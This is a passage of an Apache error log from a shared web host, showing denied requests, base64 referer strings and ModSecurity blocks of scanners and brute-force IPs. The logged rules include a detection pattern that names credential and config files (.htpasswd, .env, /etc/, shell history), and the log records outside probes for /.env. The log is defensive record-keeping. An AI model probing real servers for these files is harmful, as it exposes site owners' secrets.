https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:21:27.371109 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:21:27.444892 2026] [access_compat:error] [pid 715691:tid 715769] [remote 57.141.14.29:54429] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:27.445216 2026] [access_compat:error] [pid 715691:tid 715769] [remote 57.141.14.29:54429] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:27.647031 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.59:35663] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:27.647513 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.59:35663] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:27.901795 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZHJpdmVyL3NlcmlvMC9wb3dlcg== [Sat Jun 13 18:21:27.902287 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZHJpdmVyL3NlcmlvMC9wb3dlcg== [Sat Jun 13 18:21:28.031583 2026] [proxy_http:error] [pid 715691:tid 715776] (70008)Partial results are valid but processing is incomplete: [remote 57.141.14.97:37896] AH01110: error reading response [Sat Jun 13 18:21:28.051015 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.88:51836] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:28.051457 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.88:51836] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:28.088874 2026] [security2:error] [pid 646876:tid 646980] [remote 17.22.245.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30CNyTkdrNlD40tSHHBgAAE2U"] [Sat Jun 13 18:21:28.263452 2026] [security2:error] [pid 648189:tid 648266] [remote 17.241.219.114:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 114.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30CFWSojQL4F7upKCM0AAAmyw"] [Sat Jun 13 18:21:28.366370 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.5:33029] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:28.366716 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.5:33029] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:28.420696 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:21:28.420976 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:21:28.477013 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.45:63264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:28.477290 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.45:63264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:28.612339 2026] [security2:error] [pid 715691:tid 715779] [remote 17.246.15.72:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30CLV-dFiaX9AtWiQUNAABh0Q"] [Sat Jun 13 18:21:28.954575 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:21:28.955040 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:21:29.422274 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:21:29.422625 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:21:29.494380 2026] [security2:error] [pid 715691:tid 715792] [remote 17.22.237.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30CbV-dFiaX9AtWiQURwABPFE"] [Sat Jun 13 18:21:29.516962 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.45:63274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:29.517299 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.45:63274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:29.684213 2026] [security2:error] [pid 648189:tid 648259] [remote 195.250.23.247:58590] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.23.250.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "vettermysteryship.com"] [uri "/wp-login.php"] [unique_id "ai30CVWSojQL4F7upKCM3QAA-yU"] [Sat Jun 13 18:21:29.796807 2026] [access_compat:error] [pid 648189:tid 648223] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:29.797234 2026] [access_compat:error] [pid 648189:tid 648223] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:29.848038 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.37:52288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:29.848506 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.37:52288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:29.944292 2026] [security2:error] [pid 648189:tid 648225] [remote 202.172.25.51:53104] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.25.172.202.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "careers.kbm-realty.com"] [uri "/xmlrpc.php"] [unique_id "ai30CVWSojQL4F7upKCM5AAA_wU"] [Sat Jun 13 18:21:29.947627 2026] [security2:error] [pid 648189:tid 648481] [client 202.172.25.51:53104] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "careers.kbm-realty.com"] [uri "/xmlrpc.php"] [unique_id "ai30CVWSojQL4F7upKCM5AAA_wU"] [Sat Jun 13 18:21:29.949733 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:21:29.950152 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:21:29.966240 2026] [security2:error] [pid 715691:tid 715797] [remote 17.241.219.108:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30CbV-dFiaX9AtWiQUTAABN1Y"] [Sat Jun 13 18:21:30.026414 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.21:56677] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:30.026774 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.21:56677] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:30.047934 2026] [security2:error] [pid 646876:tid 646966] [remote 17.22.253.63:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30CtyTkdrNlD40tSHHOQAALFc"] [Sat Jun 13 18:21:30.301702 2026] [access_compat:error] [pid 715691:tid 715803] [remote 57.141.14.101:34484] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:30.302001 2026] [access_compat:error] [pid 715691:tid 715803] [remote 57.141.14.101:34484] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:30.476165 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:21:30.476425 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:21:30.481736 2026] [security2:error] [pid 715691:tid 715941] [client 34.170.189.242:52112] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cloud9exp-net.nucreativesolutions.com"] [uri "/.env"] [unique_id "ai30CrV-dFiaX9AtWiQUVwAAAW4"] [Sat Jun 13 18:21:30.485297 2026] [security2:error] [pid 715691:tid 715914] [client 47.79.206.75:42158] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.206.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "an-ime.com"] [uri "/index.php"] [unique_id "ai30CrV-dFiaX9AtWiQUVgAAAVM"], referer: https://www.google.com/ [Sat Jun 13 18:21:30.507373 2026] [security2:error] [pid 648189:tid 648382] [client 34.170.189.242:52124] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cloud9exp.net"] [uri "/.env"] [unique_id "ai30ClWSojQL4F7upKCM-gAAAKI"] [Sat Jun 13 18:21:30.660657 2026] [security2:error] [pid 646876:tid 646951] [remote 17.246.23.118:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30CtyTkdrNlD40tSHHQgAAREg"] [Sat Jun 13 18:21:30.665200 2026] [security2:error] [pid 715691:tid 715810] [remote 2a0a:ef40:31d:7e01:bcbf:c3f5:bb3d:b304:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30CrV-dFiaX9AtWiQUWwABcmM"], referer: https://www.torquayfans.com [Sat Jun 13 18:21:30.665231 2026] [security2:error] [pid 715691:tid 715810] [remote 2a0a:ef40:31d:7e01:bcbf:c3f5:bb3d:b304:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file 